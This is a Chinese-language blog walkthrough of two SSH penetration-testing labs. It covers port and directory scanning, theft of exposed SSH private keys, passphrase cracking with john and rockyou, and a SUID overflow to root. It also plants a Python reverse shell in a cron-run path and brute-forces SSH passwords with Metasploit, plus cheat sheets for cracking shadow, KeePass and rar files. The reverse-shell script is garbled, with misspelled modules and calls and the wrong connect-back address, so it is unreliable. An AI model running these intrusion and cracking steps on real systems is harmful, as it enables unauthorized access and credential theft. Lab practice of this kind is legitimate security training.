SSH服务的渗透测试
目錄
一,ssh私鑰泄露
充電站:
二,ssh 服務測試(暴力破解)
充電站:
一,ssh私鑰泄露
靶場:192.168.11.166
1,信息嗅探
對于一個給定的ip得知的靶場機器,我們需要用對其進行掃描,探測開放的服務。(滲透其實是針對服務的漏洞進行探測,然后對應的數據包發送,獲取機器的最高權限)
nmap -sV 192.168.11.166 //挖掘開放服務信息看到一個開放的一個特殊的端口31337
2,分析探測結果
每個服務對應著不同的端口,用來進行通信。常用的端口為 0~1023,在掃描結果中尤其注意那些特殊的端口
針對特殊的端口進行探測,尤其對開發的大端口的http服務進行排查;
?
瀏覽器訪問?192.168.11.166:31337, 是空白頁 ,查看頁面源代碼,沒有flag信息
?
進一步探測,端口下的隱藏文件
dirb http://192.168.11.166:31337/ //探測隱藏文件有收獲
打開robots.txt:
打開 taxes文件 ,發現flag1
打開 .ssh文件:
ssh服務,通過ssh服務客戶端可以遠程登錄到服務端,實現遠程操作,
打開? http://192.168.11.166:31337/.ssh/id_rsa? ? ? ? ? 發現可以下載私鑰 id_rsa
http://192.168.11.166:31337/.ssh/authorized_keys? ? ?下載 認證關鍵字文件
為方便操作 將這兩個文件移動到桌面上
3,利用私鑰文件登錄靶場
首先 把私鑰文件的權限改為? 600
chmod 600 id_rsa打開 認證字關鍵字文件?authorized_keys? 找用戶名,用戶名為 simon
利用私鑰文件登錄:
ssh -i id_rsa simon@192.168.11.166讓輸入密碼:
4,解密 ssh秘鑰信息
先使用 ssh2john 將id_rsa秘鑰信息轉換為john可以識別的信息:
ssh2john id_rsa > rsacrackbash: ssh2john 命令未找到root@kali:~# locate ssh2john //找ssh2john 文件路徑 /usr/share/john/ssh2john.pypython /usr/share/john/ssh2john.py id_rsa > rsacrack利用字典解密rsacrack 的信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack找到密碼為 starwars
登錄 :
ssh -i id_rsa simon@192.168.11.1664,深入探測 根目錄
切換到根目錄,發現了兩個文件,訪問flag.txt文件時,發現需要root權限,
查看具有root權限的文件
find / -perm -4000 2>/dev/null后面的 2>dev/null 是避免在查詢中出錯的?
訪問read_message文件
發現喲端倪:看到了第二個 flag2
大致意思: 如果輸入的 字符串 的前五個字符 跟 Simon 相同的 就執行?
execve(program,null,null) 執行 usr/local/sbin/message
輸入Simonaaaaaa 后給了一些提示
?
5. 提升權限
那溢出之后 會不會執行我們溢出后的命令呢??
試一下:輸入 Simonaaaaaaaaaaaaaaa/bin/sh? 使程序溢出,從而執行跳轉到/bin/sh下
我們真的提升了權限,成為了root權限
然后打開flag.txt文件 得到 flag3:
?
充電站:
1,nmap 的常用的幾個命令:
獲取遠程主機的系統類型及開放端口
nmap -sS -P0 -sV -O <target>這里的 < target > 可以是單一 IP, 或主機名,或域名,或子網
-sS TCP SYN 掃描 (又稱半開放,或隱身掃描)
-P0 允許你關閉 ICMP pings.
-sV 打開系統版本檢測
-O 嘗試識別遠程操作系統
其它選項:
-A 同時打開操作系統指紋和版本檢測
-v 詳細輸出掃描情況.
一般使用,進行探測:
nmap -sV IP?在網絡尋找所有在線主機
nmap -sP 192.168.0.*或者也可用以下命令:
nmap -sP 192.168.0.0/242,什么是ssh? 認證原理?登錄方式?
什么是ssh?
SSH 是目前較可靠,專為遠程登錄會話和其他網絡服務提供安全性的協議。利用 SSH 協議可以有效防止遠程管理過程中的信息泄露問題
認證原理?
認證開始后會有一個設定好的順序例如publickey,gssapi-keyex,gssapi-with-mic,password?首先用publickey的方式即秘鑰認證,如果秘鑰認證通過的話將不進行使用密碼的口令認證,如果秘鑰認證失敗則使用口令認證。
我們如果想要免去用戶名密碼登陸可以使用秘鑰認證的方式。
登錄方式:
1,賬號+ 口令
如果是第一次登錄對方主機,這段話的意思是,無法確認host主機的真實性,只知道它的公鑰指紋,問你還想繼續連接嗎?
$ ssh user@hostThe authenticity of host 'host (12.18.429.21)' can't be established.RSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.Are you sure you want to continue connecting (yes/no)? yes然后,會要求輸入口令。(這里要求輸入的口令實際上是使用私鑰的口令,并不是登錄的口令)
Password: (enter password):如果口令正確,就可以登錄了。
2,公鑰 + 私鑰
使用公鑰登錄
使用密碼登錄,每次都必須輸入密碼,非常麻煩。好在SSH還提供了公鑰登錄,可以省去輸入密碼的步驟。
所謂"公鑰登錄",原理很簡單,就是用戶將自己的公鑰儲存在遠程主機上。登錄的時候,遠程主機會向用戶發送一段隨機字符串,用戶用自己的私鑰加密后,再發回來。遠程主機用事先儲存的公鑰進行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。
這種方法要求用戶必須提供自己的公鑰。
使用私鑰登錄(需要輸入 密碼,不過密碼可以用 john將?私鑰中的密碼解密出來)
ssh -i id_rsa user@hostEnter passphrase for key 'id_rsa': 密碼正確就能登錄成功使用 zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack 爆破出私鑰中密碼3,dirb命令
dirb是一個類似windows下御劍這些目錄掃描工具,
dirb ip 字典路徑一般不需要指定字典,會使用默認字典,我們也自定義字典
默認字典路徑/usr/share/dirb/wordlists/indexes.txtwordlists 目錄下還有好幾個字典可以使用除此之外還要一款kali自帶的目錄掃描工具
DirBuster
DirBuster是一個多線程java應用程序,旨在強制Web /應用程序服務器上的目錄和文件名。DirBuster總共有9個不同的列表; 這使得DirBuster在查找隱藏文件和目錄方面非常有效。
同樣打開終端并鍵入Dirbuster,然后輸入目標URL,如下圖所示,并瀏覽/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt進行暴力攻擊。
4,zcat命令
zcat命令用于不真正解壓縮文件,就能顯示壓縮包中文件的內容的場合。
-S:指定gzip格式的壓縮包的后綴。當后綴不是標準壓縮包后綴時使用此選項; -c:將文件內容寫到標注輸出; -d:執行解壓縮操作; -l:顯示壓縮包中文件的列表; -L:顯示軟件許可信息; -q:禁用警告信息; -r:在目錄上執行遞歸操作; -t:測試壓縮文件的完整性; -V:顯示指令的版本信息; -l:更快的壓縮速度; -9:更高的壓縮比。本題中使用到的命令:
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack5,john常用命令? ?(保存字典的目錄: /usr/share/john/)
John the Ripper免費的開源軟件,是一個快速的密碼破解工具,用于在已知密文的情況下嘗試破解出明文的破解密碼軟件,支持目前大多數的加密算法,如DES、MD4、MD5等。它支持多種不同類型的系統架構,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不夠牢固的Unix/Linux系統密碼。
? ? ? ?1,破解shadow文件(shadow文件用于儲存linux中加密后的密碼)
john shadow 也可以指定 字典john --wordlist=/usr/share/john/password.lst shadow? ? ? ? 2, 提取ssh 私鑰里面的密碼:
先將文件轉換為 john可以執行的文件
python /usr/share/john/ssh2john.py id_rsa > rsacrack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack? ? ? ? ?3,keepass2數據庫密碼
先將加密文件轉為john可以執行的文件
python /usr/share/john/keeppass2john.py newdb.kdb > crack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack? ? ? ? ? 4, rar 提取密碼
先將加密文件轉為john可以執行的文件
python /usr/share/john/rar2john.py encrypted.rar > crack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack?
二,ssh 服務測試(暴力破解)
?
探測靶場開放的服務于服務的版本:
nmap -sV 192.168.1.106用瀏覽器訪問 192.168.1.106:看到了一個疑似ssh用戶名的 username: martin
以及另外的幾個人名:hadi 、jimmy
使用dirb進行目錄探測:
dirb http://192.168.1.106找了幾個目錄文件,訪問 icons 目錄:看到一個奇怪名字的文件,打開發現是ssh的私鑰
保存martin用戶的ssh私鑰
wget "http://192.168.1.106/icons/VDSoyuAXiO.txt"重命名mv VDSoyuAXiO.txt id_rsa將私鑰文件的權限修改為 600:
chmod 600 id_rsa登錄靶場:
ssh -i id_rsa martin@192.168.1.106成功登入(這里沒有要密碼,隨后解釋)
查看有哪些用戶名:發現有 hadi 、jimmy、martin
查看當前用戶權限:
可以看到不是root權限
我的習慣是先去找flag文件,如果打不開再去提權、
我們切換到/root 目錄下看看,ls -al 發現了flag.txt文件,但沒有權限,打不開
接下來的工作就是提權了
首先查看一下 當前用戶是否有定時執行的文件:
最后一條,是用戶 jummy 設定的定時執行 sekurity.py 文件的定時 任務
切換到 他指定的目錄,發現并沒有 sekurity.py 文件,
我們可以創建一個 反彈shell 文件,從而提升到root權限:
#!/usr/bin/pythonimport os,subprodess,sockets = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)s.connect("192.168.1.106","4445")os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p = subprocess.call(["/bin/sh","-i"])把文件名改為?sekurity.py??
等待該文件自動被執行
查看監聽端口的情況,發現 反彈shell代碼已經被執行了:
可以看到 jimmy 用戶 也是沒有root權限的
所以不能 直接 用? su - root 進行提權
?
既然前兩個用戶都沒有 root 權限,那第三個用戶大概率有root權限
?
接下來,致力于破解第三個用戶 hadi 的口令
使用metasploit 破解SSH
啟動:
msfconsole啟動 ssh_login模塊:
use auxiliary/scanner/ssh/ssh_login show options設置參數:
set rhosts 192.168.1.106set username hadiset pass_file /root/download/common-password/hadi.txt //設置字典set thread 10show optionsrun最終破解出口令是: hadi123
登錄;
優化命令終端:
python -c "import pty; pty.spawn('/bin/bash')"具有roo權限,可以提權為root
su - root輸入密碼: hadi123讀取 /root/flag.txt 文件得到flag:
充電站:
1,為什么用ssh的秘鑰登錄時有時候需要輸入口令,有時候不需要輸入口令?
這是因為用戶在創建私鑰的時候,為保證私鑰的安全,對私鑰設置了口令,輸入的口令實際上是私鑰的口令,
ssh默認是使用用戶本地的 ~/.ssh/id_rsa 這個秘鑰(私鑰)登錄的,
我們可以使用 -i? 來指定秘鑰進行登錄
更詳細的 SSH的登錄方式,看我總結的另一篇博文:
2,metasploit工具:
簡單介紹一下 metasploit工具:
Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,并管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智能開發,代碼審計,Web應用程序掃描,社會工程。團隊合作,在Metasploit和綜合報告提出了他們的發現。
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的SSH服务的渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。